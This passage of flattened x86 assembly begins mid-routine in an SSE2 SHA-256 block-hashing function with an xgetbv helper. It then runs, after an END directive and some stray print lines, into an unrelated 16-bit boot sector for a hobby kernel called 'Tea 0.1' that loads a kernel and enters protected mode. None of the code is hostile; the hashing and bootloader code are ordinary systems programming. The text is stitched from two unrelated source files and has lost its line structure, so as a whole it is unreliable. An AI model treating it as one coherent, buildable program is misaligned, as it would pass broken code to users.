edx, edi xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(12)*4] add edx, [rsp+8*4+((1024+15-(12)) MOD (16))*4] add edx, [rsp+((1024+7-(12)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(12+4)) MOD (8))*4] mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(12)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(13)*4] add edi, [rsp+8*4+((1024+15-(13)) MOD (16))*4] add edi, [rsp+((1024+7-(13)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(13+4)) MOD (8))*4] mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(13)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(14)*4] add edx, [rsp+8*4+((1024+15-(14)) MOD (16))*4] add edx, [rsp+((1024+7-(14)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(14+4)) MOD (8))*4] mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(14)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(15)*4] add edi, [rsp+8*4+((1024+15-(15)) MOD (16))*4] add edi, [rsp+((1024+7-(15)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(15+4)) MOD (8))*4] mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(15)) MOD (8))*4], ecx label1: add rsi, 4*16 mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((0)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((0)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((0)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(0)) MOD (16))*4] xor ebp, edi add edx, [rsi+(0)*4] ror edi, 11 add edx, [rsp+((1024+7-(0)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(0)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(0+4)) MOD (8))*4] mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(0)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((1)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((1)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((1)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(1)) MOD (16))*4] xor ebp, edx add edi, [rsi+(1)*4] ror edx, 11 add edi, [rsp+((1024+7-(1)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(1)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(1+4)) MOD (8))*4] mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(1)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((2)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((2)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((2)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(2)) MOD (16))*4] xor ebp, edi add edx, [rsi+(2)*4] ror edi, 11 add edx, [rsp+((1024+7-(2)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(2)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(2+4)) MOD (8))*4] mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(2)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((3)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((3)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((3)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(3)) MOD (16))*4] xor ebp, edx add edi, [rsi+(3)*4] ror edx, 11 add edi, [rsp+((1024+7-(3)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(3)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(3+4)) MOD (8))*4] mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(3)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((4)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((4)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((4)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(4)) MOD (16))*4] xor ebp, edi add edx, [rsi+(4)*4] ror edi, 11 add edx, [rsp+((1024+7-(4)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(4)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(4+4)) MOD (8))*4] mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(4)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((5)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((5)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((5)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(5)) MOD (16))*4] xor ebp, edx add edi, [rsi+(5)*4] ror edx, 11 add edi, [rsp+((1024+7-(5)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(5)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(5+4)) MOD (8))*4] mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(5)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((6)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((6)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((6)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(6)) MOD (16))*4] xor ebp, edi add edx, [rsi+(6)*4] ror edi, 11 add edx, [rsp+((1024+7-(6)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(6)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(6+4)) MOD (8))*4] mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(6)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((7)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((7)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((7)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(7)) MOD (16))*4] xor ebp, edx add edi, [rsi+(7)*4] ror edx, 11 add edi, [rsp+((1024+7-(7)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(7)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(7+4)) MOD (8))*4] mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(7)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((8)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((8)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((8)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(8)) MOD (16))*4] xor ebp, edi add edx, [rsi+(8)*4] ror edi, 11 add edx, [rsp+((1024+7-(8)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(8)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(8+4)) MOD (8))*4] mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(8)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((9)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((9)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((9)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(9)) MOD (16))*4] xor ebp, edx add edi, [rsi+(9)*4] ror edx, 11 add edi, [rsp+((1024+7-(9)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(9)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(9+4)) MOD (8))*4] mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(9)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((10)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((10)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((10)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(10)) MOD (16))*4] xor ebp, edi add edx, [rsi+(10)*4] ror edi, 11 add edx, [rsp+((1024+7-(10)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(10)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(10+4)) MOD (8))*4] mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(10)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((11)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((11)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((11)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(11)) MOD (16))*4] xor ebp, edx add edi, [rsi+(11)*4] ror edx, 11 add edi, [rsp+((1024+7-(11)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(11)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(11+4)) MOD (8))*4] mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(11)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((12)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((12)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((12)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(12)) MOD (16))*4] xor ebp, edi add edx, [rsi+(12)*4] ror edi, 11 add edx, [rsp+((1024+7-(12)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(12)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(12+4)) MOD (8))*4] mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(12)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((13)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((13)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((13)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(13)) MOD (16))*4] xor ebp, edx add edi, [rsi+(13)*4] ror edx, 11 add edi, [rsp+((1024+7-(13)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(13)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(13+4)) MOD (8))*4] mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(13)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((14)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((14)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((14)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(14)) MOD (16))*4] xor ebp, edi add edx, [rsi+(14)*4] ror edi, 11 add edx, [rsp+((1024+7-(14)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(14)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(14+4)) MOD (8))*4] mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(14)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((15)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((15)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((15)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(15)) MOD (16))*4] xor ebp, edx add edi, [rsi+(15)*4] ror edx, 11 add edi, [rsp+((1024+7-(15)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(15)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(15+4)) MOD (8))*4] mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(15)) MOD (8))*4], ecx cmp rsi, [rsp+8*4+16*4+0*8] jne label1 mov rcx, [rsp+8*4+16*4+1*8] movdqa xmm1, XMMWORD PTR [rcx+1*16] movdqa xmm0, XMMWORD PTR [rcx+0*16] paddd xmm1, [rsp+((1024+7-(0+3)) MOD (8))*4] paddd xmm0, [rsp+((1024+7-(0+7)) MOD (8))*4] movdqa [rcx+1*16], xmm1 movdqa [rcx+0*16], xmm0 mov rdx, [rsp+8*4+16*4+2*8] add rdx, 64 mov [rsp+8*4+16*4+2*8], rdx cmp rdx, [rsp+8*4+16*4+3*8] jne label0 add rsp, 8*4 + 16*4 + 4*8 + 8 pop rbp pop rbx pop rdi pop rsi ret SHA256_HashMultipleBlocks_SSE2 ENDP ALIGN 8 ExtendedControlRegister PROC ;; First paramter is RCX, and xgetbv expects the CTRL in ECX ;; http://www.agner.org/optimize/vectorclass/read.php?i=65 DB 0fh, 01h, 0d0h ;; xcr = (EDX << 32) | EAX and rax, 0ffffffffh shl rdx, 32 or rax, rdx ret ExtendedControlRegister ENDP _TEXT ENDS END
mov bx, MSG_TEA call print call print_nl ; Identical to lesson 13's boot sector, but the %included files have new paths [org 0x7c00] KERNEL_OFFSET equ 0x1000 ; The same one we used when linking the kernel mov [BOOT_DRIVE], dl ; Remember that the BIOS sets us the boot drive in 'dl' on boot mov bp, 0x9000 mov sp, bp mov bx, MSG_REAL_MODE call print call print_nl call load_kernel ; read the kernel from disk call switch_to_pm ; disable interrupts, load GDT, etc. Finally jumps to 'BEGIN_PM' jmp $ ; Never executed %include "./src/included/16/boot_sect_print.asm" %include "./src/included/16/boot_sect_print_hex.asm" %include "./src/included/16/boot_sect_disk.asm" %include "./src/included/16/boot_sect_gdt.asm" %include "./src/included/32/32bit-print.asm" %include "./src/included/32/switch_pm.asm" [bits 16] load_kernel: mov bx, MSG_LOAD_KERNEL call print call print_nl mov bx, KERNEL_OFFSET ; Read from disk and store in 0x1000 mov dh, 16 ; Our future kernel will be larger, make this big mov dl, [BOOT_DRIVE] call disk_load ret [bits 32] BEGIN_PM: mov ebx, MSG_PROT_MODE call print_string_pm call KERNEL_OFFSET ; Give control to the kernel jmp $ ; Stay here when the kernel returns control to us (if ever) BOOT_DRIVE db 0 ; It is a good idea to store it in memory because 'dl' may get overwritten MSG_REAL_MODE db "Started in 16-bit Real Mode", 0 MSG_PROT_MODE db "Landed in 32-bit Protected Mode", 0 MSG_LOAD_KERNEL db "Loading kernel into memory", 0 ; Tea MSG_TEA DB "Tea " MSG_TEA_VERSION DB "0.1" ; padding times 510 - ($-$$) db 0 dw 0xaa55
